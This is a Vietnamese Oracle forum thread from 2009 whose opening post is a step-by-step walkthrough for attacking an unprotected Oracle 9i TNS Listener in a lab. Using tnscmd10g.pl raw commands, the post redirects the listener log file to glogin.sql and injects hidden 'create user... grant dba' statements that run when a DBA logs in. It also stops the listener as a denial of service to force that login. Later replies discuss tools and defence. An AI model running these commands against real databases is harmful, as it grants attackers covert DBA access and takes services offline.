hacking TNS Listener (unprotected)

Thảo luận các chủ đề liên quan đến Quản trị Bảo mật trên các sản phẩm Oracle và những sản phẩm liên quan.
Post Thu Oct 15, 2009 3:58 pm
WELcome to ORAVN!!

heroin8x

Thành viên ORAVN
Thành viên ORAVN
Posts: 7
Joined: Thu Aug 13, 2009 2:04 pm

hacking TNS Listener (unprotected)

Chào mọi người,
Như đã hứa mình sẽ viết 1 bài về Hacking TNS Listener cho mọi người tham khảo. Có gì thiếu sót mong các bạn bổ sung thêm nhé.
Trước hết mình xin giới thiệu ngắn gọn 1 chút về Listener
Listener là một thành phần rất quan trọng của Oracle DB, quản lý việc truyền thông mạng (network traffic) giữa Oracle client và Oracle DB.
• Các kết nối của tất cả client đến 1 DB đều thông qua Listener
• Lắng nghe ở port 1521/tcp (mặc định) và có thể thay đổi được
• Khi listener down thì không thể truy cập đến DB (nên có thể DOS bằng cách tắt Listener)

Công cụ sử dụng: tnscmd perl script (tnscmd10g.pl), oat (oracle audit tools)
Môi trường sử dụng để tấn công: Back Track (1 linux OS hay dùng để tấn công thử nghiệm), IP: 10.11.21.89
Môi trường chạy Oracle DB 9i: window2003, IP: 10.11.21.139
Các bước tấn công:
1.Tìm kiếm Orcle DB và port của Listener: dùng công cụ nmap
nmap –v <IP-ADDRESS>
chúng ta quan tâm nhất đến dòng: 1521/tcp open oracle
Code: Select all
bt ~ # nmap -v 10.11.21.139

Starting Nmap 4.20 ( http://insecure.org ) at 2009-10-07 23:49 GMT
Initiating ARP Ping Scan at 23:49
Scanning 10.11.21.139 [1 port]
Completed ARP Ping Scan at 23:49, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 23:49
Completed Parallel DNS resolution of 1 host. at 23:49, 0.11s elapsed
Initiating SYN Stealth Scan at 23:49
Scanning 10.11.21.139 [1697 ports]
Discovered open port 23/tcp on 10.11.21.139
Discovered open port 1723/tcp on 10.11.21.139
Discovered open port 443/tcp on 10.11.21.139
Discovered open port 80/tcp on 10.11.21.139
Discovered open port 9090/tcp on 10.11.21.139
Discovered open port 8080/tcp on 10.11.21.139
Discovered open port 1433/tcp on 10.11.21.139
Discovered open port 1025/tcp on 10.11.21.139
Discovered open port 139/tcp on 10.11.21.139
Discovered open port 49/tcp on 10.11.21.139
Discovered open port 2000/tcp on 10.11.21.139
Discovered open port 445/tcp on 10.11.21.139
Discovered open port 1521/tcp on 10.11.21.139
Discovered open port 2001/tcp on 10.11.21.139
Discovered open port 135/tcp on 10.11.21.139
Discovered open port 2002/tcp on 10.11.21.139
Completed SYN Stealth Scan at 23:49, 1.67s elapsed (1697 total ports)
Host 10.11.21.139 appears to be up ... good.
Interesting ports on 10.11.21.139:
Not shown: 1681 closed ports
PORT     STATE SERVICE
23/tcp   open  telnet
49/tcp   open  tacacs
80/tcp   open  http
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
443/tcp  open  https
445/tcp  open  microsoft-ds
1025/tcp open  NFS-or-IIS
1433/tcp open  ms-sql-s
1521/tcp open  oracle
1723/tcp open  pptp
2000/tcp open  callbook
2001/tcp open  dc
2002/tcp open  globe
8080/tcp open  http-proxy
9090/tcp open  zeus-admin
MAC Address: 00:0C:29:B1:B9:F1 (VMware)

Nmap finished: 1 IP address (1 host up) scanned in 2.076 seconds
               Raw packets sent: 1795 (78.978KB) | Rcvd: 1698 (78.104KB)
bt ~ #

2.Xem version của DB:
tnscmd10g.pl version –h <IP-ADDRESS>
Code: Select all
bt ~ # cd /pentest/database/oracle/
bt oracle # perl tnscmd10g.pl version -h 10.11.21.139
sending (CONNECT_DATA=(COMMAND=version)) to 10.11.21.139:1521
writing 90 bytes
reading
.M.......6.........-. ..........(DESCRIPTION=(TMP=)(VSNNUM=150999297)(ERR=0)).c....... TNSLSNR for 32-bit Windows: Version 9.0.1.1.1 - Production..TNS for 32-bit Windows: Version 9.0.1.1.0 - Production........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................(....................................,,.........@
bt oracle #

3.Xem SID của DB và các thông tin cần thiết khác:
tnscmd10g.pl status –h <IP_ADDRESS>
Code: Select all
bt oracle # perl tnscmd10g.pl status -h 10.11.21.139
sending (CONNECT_DATA=(COMMAND=status)) to 10.11.21.139:1521
writing 89 bytes
reading
. .......6.........Q. ...........[........(DESCRIPTION=(TMP=)(VSNNUM=150999297)(ERR=0)(ALIAS=LISTENER)(SECURITY=ON)(VERSION=TNSLSNR for 32-bit Windows: Version 9.0.1.1.1 - Production)(START_DATE=12-OCT-2009 09:33:52)(SIDNUM=1)(LOGFILE=C:\oracle\ora90\network\log\listener.log)(PRMFILE=C:\oracle\ora90\network\admin\listener.ora)(TRACING=off)(UPTIME=27832823)(SNMP=OFF)(PID=2024)).o........(ENDPOINT=(HANDLER=(HANDLER_MAXLOAD=0)(HANDLER_LOAD=0)(ESTABLISHED=0)(REFUSED=0)(HANDLER_ID=2EF642996375-4822-BC51-AB8684EB24AA)(PRE=any)(SESSION=NS)(DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(PIPENAME=\\.\pipe\EXTPROC0ipc))))),,(ENDPOINT=(HANDLER=(HANDLER_MAXLOAD=0)(HANDLER_LOAD=0)(ESTABLISHED=0)(REFUSED=0)(HANDLER_ID=886A8E02B4D5-4AD6-AABD-0E3FD08B4944)(PRE=any)(SESSION=NS)(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=lab)(PORT=1521))))),,(ENDPOINT=(HANDLER=(STA=ready)(HANDLER_MAXLOAD=0)(HANDLER_LOAD=0)(ESTABLISHED=0)(REFUSED=0)(HANDLER_ID=26ACFDDDD568-4314-8AF8-CE9858E24B63)(PRE=http://admin)(SESSION=RAW)(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=10.11.21.139)(PORT=8080))(PRESENTATION=http://admin)(SESSION=RAW)))),,(ENDPOINT=(HANDLER=(STA=ready)(HANDLER_MAXLOAD=0)(HANDLER_LOAD=0)(ESTABLISHED=0)(REFUSED=0)(HANDLER_ID=DE6BDCD1CD9E-40EF-B694-42F1850D979E)(PRE=http://admin)(SESSION=RAW)(DESCRIPTION=(ADDRESS=(PROTOCOL=tcps)(HOST=10.11.21.139)(PORT=9090))(PRESENTATION=http://admin)(SESSION=RAW)))),,(ENDPOINT=(HANDLER=(STA=ready)(HANDLER_MAXLOAD=0)(HANDLER_LOAD=0)(ESTABLISHED=0)(REFUSED=0)(HANDLER_ID=D50A15732BB9-4536-A1D1-A16855BDDE5B)(PRE=giop)(SESSION=RAW)(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=10.11.21.139)(PORT=2481))(PRESENTATION=GIOP)(SESSION=RAW)))),,(ENDPOINT=(HANDLER=(STA=ready)(HANDLER_MAXLOAD=0)(HANDLER_LOAD=0)(ESTABLISHED=0)(REFUSED=0)(HANDLER_ID=5EFBD5F33FC6-4745-95A0-F9F2859F2FE6)(PRE=giop)(SESSION=RAW)(DESCRIPTION=(ADDRESS=(PROTOCOL=tcps)(HOST=10.11.21.139)(PORT=2482))(PRESENTATION=GIOP)(SESSION=RAW)))),,(SERVICE=(SERVICE_NAME=MODOSE)(INSTANCE=(INSTANCE_NAME=oratest)(NUM=4)(NUMREL=1))),,(SERVICE=(SERVICE_NAME=PLSExtProc)(INSTANCE=(INSTANCE_NAME=PLSExtProc)(NUM=1)(INSTANCE_STATUS=UNKNOWN)(NUMREL=1))),,(SERVICE=(SERVICE_NAME=oratest)(INSTANCE=(INSTANCE_NAME=oratest)(NUM=1)(INSTANCE_STATUS=UNKNOWN)(NUMREL=1))(INSTANCE=(INSTANCE_NAME=oratest)(NUM=4)(NUMREL=3))),,.........@
bt oracle #

Ở đây sẽ lưu ý đến các thông tin về SID = oratest và vị trí, tên của LOGFILE = c:\oracle\ora90\network\log\listener.log
4.Tấn công TNS Listener bằng tnscmd10g.pl
Các bước 1, 2, 3 thu thập các thông tin về Oracle DB: version, SID, $ORACLE_HOME,LOGFILE,… Mình chỉ mô tả sơ qua rồi tập trung vào bước 4.
Listener bị tấn công bằng cách thức này thường không được bảo vệ: không có PASSWORD (mặc định là không bật), tắt chức năng LOCAL OS AUTHENTICATION (chỉ có trong 10g trở đi), ADMIN_RESTRICTIONS_<listeneralias> (ON = cấm điều khiển Listener từ xa)(mặc định là OFF), …
Mấu chốt ở đây là logfile của Listener: LOGFILE = c:\oracle\ora90\network\log\listener.log; khi listener hoạt động sẽ ghi vào logfile này và nếu listener không được bảo vệ thì chúng ta có thể thay đổi tên, đường dẫn đến logfile này. Dùng lệnh: set log_file c:\oracle\ora90\sqlplus\admin\glogin.sql
Còn file: c:\oracle\ora90\sqlplus\admin\glogin.sql thì sẽ được xử lý và các dòng trên file sẽ được thực thi khi một DBA login vào hệ thống bằng sqlplus.
Với tinh thần như vậy, chúng ta sẽ tìm cách:
•thay đổi logfile listener.log thành glogin.sql
Listener>set log_file c:\oracle\ora90\sqlplus\admin\glogin.sql
•Sau đó thêm các dòng lệnh vào trong glogin: tạo user, gán quyền dba cho user chẳng hạn
o Sql>Create user oravn identified by mypassword;
o Sql>Grant dba to oravn;
•Đổi glogin.sql thành listener.log lại như cũ
Listener>set log_file c:\oracle\ora90\network\log\listener.log
• Đợi một DBA login vào hệ thống là … xong.
Lưu ý: các bước ở đây mình đều thực hiện trên máy từ xa (BT) tấn công vào máy win2003 chạy Oracle 9i.
Các bước thực hiện:
Bước 1: thay đổi logfile listener.log thành glogin.sql
Code: Select all
bt oracle # perl tnscmd10g.pl --rawcmd "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=LOG_FILE)(ARGUMENTS=4)(SE
RVICE=LISTENER)(VERSION=1)(VALUE=c:\oracle\ora90\sqlplus\admin\glogin.sql)))" -h 10.11.21.139
sending (DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=LOG_FILE)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=1)(VALUE=c:\oracle\ora90\sqlplus\admin\glogin.sql))) to 10.11.21.139:1521
writing 225 bytes
reading
........"..u(DESCRIPTION=(TMP=)(VSNNUM=150999297)(ERR=0)(COMMAND=LOG_FILE)(LOGFILENAME=c:\oracle\ora90\sqlplus\admin\glogin.sql))
bt oracle #

Bước 2: Sau đó thêm các dòng lệnh vào trong glogin
Code: Select all
bt oracle # tnscmd10g.pl -h 10.11.21.139 --rawcmd "(CONNECT_DATA=((
> create user oravn identified by mypassword;
> grant dba to oravn;
> "
sending (CONNECT_DATA=((
create user oravn identified by mypassword;
grant dba to oravn;
to 10.11.21.139:1521
writing 139 bytes
reading
.R......"..F(DESCRIPTION=(ERR=1153)(VSNNUM=150999297)(ERROR_STACK=(ERROR=(CODE=1153)(EMFI=4)(ARGS='(CONNECT_DATA=((.create user oravn identified by mypassword;.grant dba to oravn;'))(ERROR=(CODE=303)(EMFI=1))))
bt oracle #

Nếu bạn không muốn DBA thấy log xuất ra trên màn hình dòng tạo và gán quyền cho user khi DBA đăng nhập vào DB bằng sqlplus, thì có thể thêm set term off/set term on vào
Code: Select all
bt oracle # tnscmd10g.pl -h 10.11.21.139 --rawcmd "(CONNECT_DATA=((
>set term off
> create user oravn identified by mypassword;
> grant dba to oravn;
>set term on
> "
sending (CONNECT_DATA=((
create user oravn identified by mypassword;
grant dba to oravn;
to 10.11.21.139:1521
writing 139 bytes
reading
.R......"..F(DESCRIPTION=(ERR=1153)(VSNNUM=150999297)(ERROR_STACK=(ERROR=(CODE=1153)(EMFI=4)(ARGS='(CONNECT_DATA=((.create user oravn identified by mypassword;.grant dba to oravn;'))(ERROR=(CODE=303)(EMFI=1))))
bt oracle #


Bước 3: Đổi glogin.sql thành listener.log lại như cũ
Code: Select all
bt oracle # perl tnscmd10g.pl --rawcmd "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=LOG_FILE)(ARGUMENTS=4)(SE
RVICE=LISTENER)(VERSION=1)(VALUE=c:\oracle\ora90\network\log\lisener.log)))" -h 10.11.21.139
sending (DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=LOG_FILE)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=1)(VALUE=c:\oracle\ora90\network\log\lisener.log))) to 10.11.21.139:1521
writing 224 bytes
reading
........"..t(DESCRIPTION=(TMP=)(VSNNUM=150999297)(ERR=0)(COMMAND=LOG_FILE)(LOGFILENAME=c:\oracle\ora90\network\log\lisener.log))
bt oracle #

Sau đó đợi DBA login vào hệ thống bằng sqlplus thì glogin sẽ được thực thi và user oravn sẽ được tạo ra.
Code: Select all
C:\oracle\ora90\BIN>sqlplus.exe sys/123456

SQL*Plus: Release 9.0.1.0.1 - Production on Thu Oct 15 15:11:42 2009

SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0044: For a list of known commands enter HELP                       
and to leave enter EXIT.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0044: For a list of known commands enter HELP
and to leave enter EXIT.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0044: For a list of known commands enter HELP                         
and to leave enter EXIT.                         
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0044: For a list of known commands enter HELP                         
and to leave enter EXIT.                               
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0044: For a list of known commands enter HELP                         
and to leave enter EXIT.                                                   
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0044: For a list of known commands enter HELP                         
and to leave enter EXIT.                                                   
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0044: For a list of known commands enter HELP                         
and to leave enter EXIT.                                                   
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0044: For a list of known commands enter HELP                         
and to leave enter EXIT.                         
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0044: For a list of known commands enter HELP                         
and to leave enter EXIT.                         
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0044: For a list of known commands enter HELP
and to leave enter EXIT.                                             
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0044: For a list of known commands enter HELP
and to leave enter EXIT.                                                   
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0044: For a list of known commands enter HELP
and to leave enter EXIT.
SP2-0734: unknown command beginning "10-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "15-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "15-OCT-200..." - rest of line ignored.
SP2-0734: unknown command beginning "TNS-01153:..." - rest of line ignored.
SP2-0044: For a list of known commands enter HELP           
and to leave enter EXIT.

User created.


Grant succeeded.

SP2-0734: unknown command beginning "NL-00303: ..." - rest of line ignored.
SP2-0734: unknown command beginning "15-OCT-200..." - rest of line ignored.
SQL>

Để ý chúng ta sẽ thấy 2 dòng User created. và Grant succeeded là tạo và gán quyền cho user oravn
Mình dùng user/pass này login vào DB.
Code: Select all
c:\Program Files\repscan>sqlplus.exe oravn/mypassword@10.11.21.139:1521/oratest

SQL*Plus: Release 10.2.0.4.0 - Production on Thu Oct 15 15:24:54 2009

Copyright (c) 1982, 2007, Oracle.  All Rights Reserved.


Connected to:
Oracle9i Enterprise Edition Release 9.0.1.1.1 - Production
With the Partitioning option
JServer Release 9.0.1.1.1 - Production

SQL> show user;
USER is "ORAVN"
SQL> desc sys.dba_users;
Name                                      Null?    Type
----------------------------------------- -------- ---------------------------

USERNAME                                  NOT NULL VARCHAR2(30)
USER_ID                                   NOT NULL NUMBER
PASSWORD                                           VARCHAR2(30)
ACCOUNT_STATUS                            NOT NULL VARCHAR2(32)
LOCK_DATE                                          DATE
EXPIRY_DATE                                        DATE
DEFAULT_TABLESPACE                        NOT NULL VARCHAR2(30)
TEMPORARY_TABLESPACE                      NOT NULL VARCHAR2(30)
CREATED                                   NOT NULL DATE
PROFILE                                   NOT NULL VARCHAR2(30)
INITIAL_RSRC_CONSUMER_GROUP                        VARCHAR2(30)
EXTERNAL_NAME                                      VARCHAR2(4000)

SQL>

Còn trong trường hợp đợi lâu quá mà chẳng thấy DBA nào login vào thì sao? Bó tay :D
Thế thì mình … nghĩ cách khác thôi. Như mình đã trình bày trong phần đầu, chúng ta có thể DOS (ăn không được thì … cho mày chết luôn) DB bằng cách tắt Listener đi.
Ở đây mình dùng công cụ OracleTNSCtrl (otnsctl.sh) trong bộ công cụ OAT (Oracle audit Tools): có sẵn trong BT
Code: Select all
bt oat # ./otnsctl.sh -s 10.11.21.139 -I
Oracle TNS Control v1.3.1 by patrik@cqure.net
---------------------------------------------
tnscmd> help
help
set password - sets the password with which to connect to the listener
services - shows services
status - shows status
version - returns version information
tnscmd> stop
java.net.SocketException: Socket closed
        at java.net.SocketOutputStream.socketWrite(SocketOutputStream.java:99)
        at java.net.SocketOutputStream.write(SocketOutputStream.java:136)
        at java.io.BufferedOutputStream.flushBuffer(BufferedOutputStream.java:65)
        at java.io.BufferedOutputStream.flush(BufferedOutputStream.java:123)
        at ork.OracleTNSSocket.sendTNSCommand(OracleTNSSocket.java:345)
        at ork.OracleTNSSocket.sendCommand(OracleTNSSocket.java:267)
        at ork.OracleTNSCtrl.execTNSCmd(OracleTNSCtrl.java:71)
        at ork.OracleTNSCtrl.main(OracleTNSCtrl.java:186)
ERROR: Could not send command (verify port try 1521 or 1526)
bt oat #

Khi đó listener bị tắt, các client sẽ không thể truy cập đến DB, DBA lúc đó phải login vào hệ thống để kiểm tra, khởi động lại. Và khi DBA login vào hệ thống bằng sqlplus thì sẽ tạo ra user/pass của mình.
Tài liệu tham khảo: http://www.red-database-security.com/ex ... ener.html;
http://www.jammed.com/~jwa/hacks/security/tnscmd/
Trong bài viết này có 1 phần mình chưa thử đó là cái Listener trên 1 máy client (Listener mặc định được cài trên máy cài đặt DB Oracle). Sau đó dùng Listener client này truy cập đến DB. Khi đó việc thay đổi logfile (bước 1 và 3) và tắt listener sẽ đơn giản hơn nhiều (dùng lệnh set logfile; stop trong listener).Bạn nào làm thử rồi (cài đặt và chạy listener trên client) post lên cho mình và mọi người học hỏi, tham khảo nhé.
Bài viết có gì sơ sót mong được sự góp ý từ các bạn. Mình cảm ơn nhiều.
Thân mến


Post Thu Oct 15, 2009 7:04 pm
WELcome to ORAVN!!

vandt

OCP
OCP
Posts: 653
Joined: Mon Dec 08, 2008 9:21 am

Re: hacking TNS Listener (unprotected)

@heroin8x: Trước hết cảm ơn bạn rất nhiều về bài viết khá công phu này. Cái này giúp DBA trong việc tự bảo vệ DB của mình tốt hơn.
Để mình thử có gì sẽ hỏi bạn sau.
Trước hết để test cái này thì mấy cái tools dùng trong đây có cần phải down và down ở đâu?
Hy vọng nhận được nhiều bài viết của bạn nữa.
Thân mến
Bệnh Khàn Tiếng: Tư Vấn về Chẩn đoán - điều trị Miễn Phí
http://trikhantieng.blogspot.com/
Kỹ Thuật Noi Soi mới (Nội soi phế quản) trong điều trị bệnh ...
http://noisoiphequan.blogspot.com/


Post Thu Oct 15, 2009 10:29 pm
User avatar

quanta

OCA
OCA
Posts: 69
Joined: Thu Jun 04, 2009 12:06 pm

Re: hacking TNS Listener (unprotected)

vandt wrote:Trước hết để test cái này thì mấy cái tools dùng trong đây có cần phải down và down ở đâu?
Hy vọng nhận được nhiều bài viết của bạn nữa.
Thân mến

Ơ, bạn đã thử nhấp vào mấy cái links tham khảo ở cuối chưa vậy? Mà nếu không có mấy cái links đó đi chăng nữa thì cũng phải chịu khó Google chứ nhỉ.


Post Thu Oct 15, 2009 10:47 pm
User avatar

darkan

Moderator
Moderator
Posts: 649
Joined: Thu Aug 30, 2007 8:32 am

Re: hacking TNS Listener (unprotected)

Bạn nên nói thêm một chút về nguyên lý h@ck khi trình bày cách thức h@ck :D.

Vấn đề này Dark cũng đã có đề cập đến ở topic này : b-o-m-t-d-li-u-f25/1-server-nh-ng-ch-y-nhi-u-listenner-c-ko-m-y-bac-t1553-30.html
Bạn có thể tham khảo thêm nhé :D.

Cheers!
Is the moon rising ...


Post Thu Oct 15, 2009 11:40 pm
WELcome to ORAVN!!

heroin8x

Thành viên ORAVN
Thành viên ORAVN
Posts: 7
Joined: Thu Aug 13, 2009 2:04 pm

Re: hacking TNS Listener (unprotected)

@vandt:
Các tools này mình sử dụng đều nằm trong Back Track (linux OS chuyên dùng để pentest), bạn có thể tham khảo thử, có gì mình sẽ trao đổi thêm.
Còn script tnscmd10g.pl bạn tra google là có ngay (mình cũng download trên đó) và tham khảo thêm trên http://www.jammed.com/~jwa/hacks/security/tnscmd/.
Bài viết này mình cũng tham khảo trên các trang web nói về bảo mật Oracle, sau đó tìm hiểu, thử nghiệm rồi post lên cho các bạn tham khảo và qua đó mình cũng trình bày 1 số vấn đề mình chưa biết, mong được sự giải đáp từ các bạn để trau dồi thêm kiến thức :).
Thân mến
@darkan:
Cảm ơn góp ý của bạn, mình cũng có viết về phần nguyên lý nhưng không viết ở đầu mà nằm trong phần giữa (cụ thể là trong mục 4), những có lẽ chưa đủ sâu. Mình sẽ cố gắng trình bày rõ ràng hơn trong các bài viết sau.
Mong được sự góp ý từ tất cả các bạn.
thân mến


Post Sun May 23, 2010 2:42 am
WELcome to ORAVN!!

minameo

Thành viên ORAVN
Thành viên ORAVN
Posts: 5
Joined: Wed Mar 31, 2010 3:56 pm

Re: hacking TNS Listener (unprotected)

Em dùng backtrack 4 để h@ck listner theo hướng dẫn. Nhưng khi gõ lệnh
Code: Select all
root@bt:/pentest/database/oat#tnscmd10g.pl - h version 192.168.2.90 Thì nó báo
bash: tnscmd10g.pl: command not found

Em thử dùng lệnh perl tnscmd10g.pl

Code: Select all
root@bt:/pentest/database/oat#perl tnscmd10g.pl - h version 192.168.2.90
"use" not allowed in expression at tnscmd10g.pl line 29, at end of line
syntax error at tnscmd10g.pl line 29, near "use IO::Socket"
BEGIN not safe after errors--compilation aborted at tnscmd10g.pl line 30

.
Không thu được kết quả như trong chỉ dẫn.
Địa chỉ của db là 192.168.2.90. Lỗi này khắc phục như thế nào ạ?


Post Mon May 24, 2010 2:58 pm
WELcome to ORAVN!!

minameo

Thành viên ORAVN
Thành viên ORAVN
Posts: 5
Joined: Wed Mar 31, 2010 3:56 pm

Re: hacking TNS Listener (unprotected)

Buồn thế không ai đoái hoài!


Post Fri Jun 18, 2010 9:56 am
WELcome to ORAVN!!

ntanhvst

PL/SQL
PL/SQL
Posts: 21
Joined: Mon Jun 07, 2010 3:44 pm

Re: hacking TNS Listener (unprotected)

Hi all.
Tôi không bàn luận về tác dụng của bài này. Nhưng thấy không ai quan tâm nhiều, tôi xin góp thêm một bài để chúng ta nghiên cứu và tìm hiểu thêm về h@ck & secu listener
Attachments
22455-Oracle-Database-Listener-Security-Guide.rar
(341.01 KiB) Downloaded 16 times



Return to Bảo mật Dữ liệu

Who is online

Users browsing this forum: No registered users and 0 guests